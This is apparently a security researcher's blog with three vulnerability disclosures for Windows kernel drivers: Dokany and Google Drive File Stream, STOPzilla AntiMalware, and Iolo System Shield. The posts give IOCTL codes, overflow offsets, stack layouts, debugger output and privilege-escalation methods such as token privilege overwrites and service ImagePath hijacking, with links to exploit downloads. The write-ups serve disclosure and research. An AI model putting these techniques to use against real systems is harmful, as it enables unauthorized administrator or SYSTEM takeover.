Exploits

Last November I reported a kernel vulnerability to CERT/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).

The vulnerability was a stack-based buffer overflow in Dokany’s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed here. A handful of products were tested and are all shipped with Dokany’s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.

Triggering the bug
Connecting to the device handle “dokan_1” and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.

kd> !analyze -v
***************************************************************************
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
***************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: c0693bbe, Actual security check cookie from the stack
Arg2: 1c10640d, Expected security check cookie
Arg3: e3ef9bf2, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------
DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME
SECURITY_COOKIE:  Expected 1c10640d found c0693bbe
.
.
.

Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function’s szMountPoint->Length parameter is not validated

RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);

The vulnerable code was introduced from the major version update 1.0.0.5000 which was released on the 20th September 2016.

TimeLine
Below is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.

30th November 2018 – Submitted on CERT/CC online form
03rd December 2018 – Received acknowledgement of submission
08th December 2018 – Updated Dokan code committed [link]
18th December 2018 – Dokan change log [1.2.1.1000] [link]
20th December 2018 – Compiled version released [link]
20th December 2018 – CERT/CC publish Vulnerability Note VU#741315 [link]

So what happened to Google?
Well it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is here where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:

Software : GoogleDriveFSSetup.exe
Version  : 29.1.34.1821
Signed   : 17th December 2018

Driver   : googledrivefs2622.sys
Version  : 2.622.2225.0
Signed   : 14th December 2018

The last vulnerable version I tested was:

Software : GoogleDriveFSSetup.exe
Version  : 28.1.48.2039
Signed   : 13th November 2018

Driver   : googledrivefs2544.sys
Version  : 2.544.1532.0
Signed   : 27th September 2018

CERT/CC vulnerability notes is still flagged as being affected

GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.

Driver filename Driver version Device handle
googledrivefs2285.sys 2.285.2219.0 googledrivefs_2285
googledrivefs2454.sys 2.454.2037.0 googledrivefs_2454
googledrivefs2534.sys 2.534.1534.0 googledrivefs_2534
googledrivefs2544.sys 2.544.1532.0 googledrivefs_2544

Exploiting the bug
Since the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from “frame based” has become “table-based”. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on OSRline explains it well. Below shows the exception directory in 64-bit compiled driver

In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using “Buffered I/O” transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.

For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.

As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn’t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.

2   bytes   – Size used by memcpy
2   bytes   – Size used to check input buffer
772 bytes   – Actual data buffer
4   bytes   – Cookie
4   bytes   – EBP
4   bytes   – RET
4   bytes   – Other data
4   bytes   – IRP
96  bytes   – Other data
4   bytes   – Exception handler

Stack layout before and after our overflow

a1caf9f4  00000000
a1caf9f8  fcef3710 <-- cookie
a1caf9fc  a1cafa1c
a1cafa00  902a2b80 dokan1+0x5b80  <-- return
a1cafa04  861f98b0
a1cafa08  871ef510 <-- IRP
a1cafa0c  861f9968
a1cafa10  871ef580
a1cafa14  00000010
a1cafa18  c0000002
a1cafa1c  a1cafa78
a1cafa20  902a2668 dokan1+0x5668
a1cafa24  861f98b0
a1cafa28  871ef510
a1cafa2c  fcef3494
a1cafa30  86cd4738
a1cafa34  861f98b0
a1cafa38  00000000
a1cafa3c  00000000
a1cafa40  00000000
a1cafa44  00000000
a1cafa48  00000000
a1cafa4c  871ef580
a1cafa50  861f9968
a1cafa54  00222010
a1cafa58  c0000002
a1cafa5c  861f9968
a1cafa60  861f98b0
a1cafa64  a1cafa7c
a1cafa68  a1cafacc
a1cafa6c  902b2610 dokan1+0x15610  <-- Exception handler


kd> dps a1caf9f4
a1caf9f4  41414141
a1caf9f8  42424242 <-- cookie
a1caf9fc  41414141
a1cafa00  43434343 <-- return
a1cafa04  41414141
a1cafa08  44444444 <-- IRP
a1cafa0c  41414141
a1cafa10  41414141
a1cafa14  41414141
a1cafa18  41414141
a1cafa1c  41414141
a1cafa20  41414141
a1cafa24  41414141
a1cafa28  41414141
a1cafa2c  41414141
a1cafa30  41414141
a1cafa34  41414141
a1cafa38  41414141
a1cafa3c  41414141
a1cafa40  41414141
a1cafa44  41414141
a1cafa48  41414141
a1cafa4c  41414141
a1cafa50  41414141
a1cafa54  41414141
a1cafa58  41414141
a1cafa5c  41414141
a1cafa60  41414141
a1cafa64  41414141
a1cafa68  41414141
a1cafa6c  000c0000 <-- Exception handler which now points to shellcode

To recover we return to the parent subroutine.

a1cafa70  00000000
a1cafa74  00000000
a1cafa78  a1cafa94
a1cafa7c  902a3d4a dokan1+0x6d4a
a1cafa80  861f98b0
a1cafa84  871ef510 
a1cafa88  0000000e
a1cafa8c  d346f492
a1cafa90  871ef580 <-- before ebp, recover here after shellcode execution
a1cafa94  a1cafadc
a1cafa98  902a3a8f dokan1+0x6a8f
a1cafa9c  861f98b0
a1cafaa0  871ef510
a1cafaa4  fcef3430
a1cafaa8  86cd4738
a1cafaac  861f98b0
a1cafab0  00000000
a1cafab4  871ef510
a1cafab8  00000001
a1cafabc  c0000001
a1cafac0  0101af00
a1cafac4  a1cafaa4
a1cafac8  871ef520
a1cafacc  a1cafbc0
a1cafad0  902b2610 dokan1+0x15610
a1cafad4  cd0e6854
a1cafad8  00000001
a1cafadc  a1cafaf4
a1cafae0  82a8c129 nt!IofCallDriver+0x63
a1cafae4  861f98b0
a1cafae8  871ef510
a1cafaec  871ef510
a1cafaf0  861f98b0

The exploit can be downloaded from here [zip] and the direct link to the vulnerable package used from Github [exe]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32/64 bit versions.

Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn’t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.

@ParvezGHH

A couple of months ago I discovered 9 kernel vulnerabilities a security product called STOPzilla AntiMalware. It’s been over a month with no response from the vendor so I’m going public with this one. All of the vulnerabilities stem from output buffer address not being validated apart from ioctl 80002028 where the size of the output buffer is not validated. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8000204B CVE-2018-15729 Denial of Service
0x80002067 CVE-2018-15730 Denial of Service
0x8000205B CVE-2018-15731 Denial of Service
0x80002063 0x8000206F CVE-2018-15732 Arbitrary Write
0x80002028 CVE-2018-15733 Null pointer dereference
0x8000206B CVE-2018-15734 Arbitrary Write
0x8000205F CVE-2018-15735 Arbitrary Write
0x8000204F CVE-2018-15736 Denial of Service
0x80002043 CVE-2018-15737 Denial of Service

Here I’m exploiting the arbitrary write vulnerability (CVE-2018-15732) by overwriting the _SEP_TOKEN_PRIVILEGES structure to obtain the SeCreateTokenPrivilege privilege. Then it’s just a matter of calling the ZwCreateToken API to create a new privileged token. The excellent paper “Abusing Token Privileges For LPE” and source code provided needed assistance in exploiting using this privilege.

The “what” dword value starts with 1 and increments each time our ioctl is called so a number of writes needed to be done in order to obtain a useful privilege. Normal privileges would look like this

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002f11060+40
+0x000 Present          : 0x6`02880000
+0x008 Enabled          : 0x800000
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002f11060
.
.
19 0x000000013 SeShutdownPrivilege              Attributes - 
23 0x000000017 SeChangeNotifyPrivilege          Attributes - Enabled Default 
25 0x000000019 SeUndockPrivilege                Attributes - 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

After a few writes the SeCreateTokenPrivilege privilege has been obtained. This is one of the privileges received most of the time.

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002e61a90+40
+0x000 Present          : 0x6`00000015
+0x008 Enabled          : 0x16
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002e61a90
.
.
00 0x000000000 Unknown Privilege                Attributes - 
02 0x000000002 SeCreateTokenPrivilege           Attributes - Enabled 
04 0x000000004 SeLockMemoryPrivilege            Attributes - Enabled 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

For Windows 7 I’ve spawned a shell by switching to session 0 by calling WinStationSwitchToServicesSession(). The Windows Service “Interactive Services Detection” (UI0Detect) is set to manual and not started to begin with but starts when WinStationSwitchToServicesSession() is called. The first instance a prompt will be given to switch sessions, thereafter will switch automatically as the service is already started.

In Windows 10 (1803) the “Interactive Services Detection” service has been removed and doing a quick test on 1703 I realized the service can’t be started anyway so on Windows 10 I’m just adding the current user to the local administrators group.

The CreateProcessAsUser API doesn’t always behave as expected as occasionally returns 1314 error which means “A required privilege is not held by the client”. Running the exploit a few times and it ends up working so not sure exactly what is really happening here. Trying to run the exploit in another user accounts shell i.e. not logging in with the account doesn’t seem to work at all and always returns 1314 error so bear that in mind.

UPDATE: I just figured out the reason behind the 1314 error, since the CreateProcessAsUser API is still being called by our current process token so after the arbitrary writes sometimes the “SeAssignPrimaryTokenPrivilege” privilege is also obtained along with the “SeCreateTokenPrivilege” allowing the exploit to work. So even when our elevated token is successfully created we’ll need an added privilege “SeAssignPrimaryTokenPrivilege” for the CreateProcessAsUser API to succeed.

The current vulnerable version of STOPzilla AntiMalware is 6.5.2.59 of which the driver version szkg64.sys is 3.0.23.0. The exploit can be downloaded from here [zip] and here is the direct link to the package on the StopZilla site if you wish to play with the exploit [msi]

@ParvezGHH

A kernel vulnerability exists in an antivirus product called “System Shield AntiVirus and AntiSpyware” by Iolo Technologies. This is an arbitrary memory overwrite vulnerability due to the inputted buffer not being validated and has been assigned a CVE ID of CVE-2018-5701. The product version of “System Shield AntiVirus and AntiSpyware” tested on is 5.0.0.136 and the vulnerable version of the driver “amp.sys” is 5.4.11.1.

Due to no response from the vendor for the last few weeks I’m going public with this one. Another one of their products “System Mechanic Pro” on version 15.5.0.61 is also affected from this vulnerability as it gets shipped with the same version of the driver as is bundled with “System Shield AntiVirus and AntiSpyware”. There is however an update downloader link on the site for “System Mechanic Pro” bringing it to version 17.5.0.116 where the vulnerable driver has been removed.

To get to our arbitrary write a number of conditions had to be satisfied in a number of subroutines, the main disassembly screen shots shown below.

To exploit I’m overwriting the _SEP_TOKEN_PRIVILEGES structure with the fixed value of 0xFFFFFFFE. You can play with the offsets to get different number of privileges but with the offsets I chose I ended up looking like this below

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002cc4a30+40
   +0x000 Present          : 0xff`fffffe00
   +0x008 Enabled          : 0xff`fffffe00
   +0x010 EnabledByDefault : 0x800000

Looking at the number of privileges obtained we have a few to choose from for our exploit.

kd> !token fffff8a002cc4a30
_TOKEN fffff8a002cc4a30
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1001
Groups: 
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 04 S-1-5-32-544
    Attributes - DenyOnly 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-1059199
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs: 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled 
 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled 
 18 0x000000012 SeRestorePrivilege                Attributes - Enabled 
 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled 
 26 0x00000001a SeSyncAgentPrivilege              Attributes - Enabled 
 27 0x00000001b SeEnableDelegationPrivilege       Attributes - Enabled 
 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled 
 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled 
 36 0x000000024 Unknown Privilege                 Attributes - Enabled 
 37 0x000000025 Unknown Privilege                 Attributes - Enabled 
 38 0x000000026 Unknown Privilege                 Attributes - Enabled 
 39 0x000000027 Unknown Privilege                 Attributes - Enabled 
Authentication ID:         (0,1029c8)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: 13d229           ParentToken ID: 1029cb
Modified ID:               (0, 139e0a)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

For exploiting I decided to use the “SeTakeOwnershipPrivilege” privilege. The idea I had was to take ownership of a Windows Service key and have the ability to start it. The service I found was the “Windows Installer” service.

So the steps were to:

  1. Take ownership of the key HKLM\SYSTEM\CurrentControlSet\services\msiserver
  2. Change the “ImagePath” value to our command or executable we which want to run
  3. Start the service by running “msiexec.exe /i poc.msi /quiet”
  4. Restore all settings

Here poc.msi doesn’t really exist but by initiating an msi install will start the service and run our command. Trying to get an interactive shell is another matter as we have to deal with “Session 0 Isolation” which I haven’t really looked into so decided to use the net command to add the account to the local administrators group.

The exploit can be downloaded from here [zip]

@ParvezGHH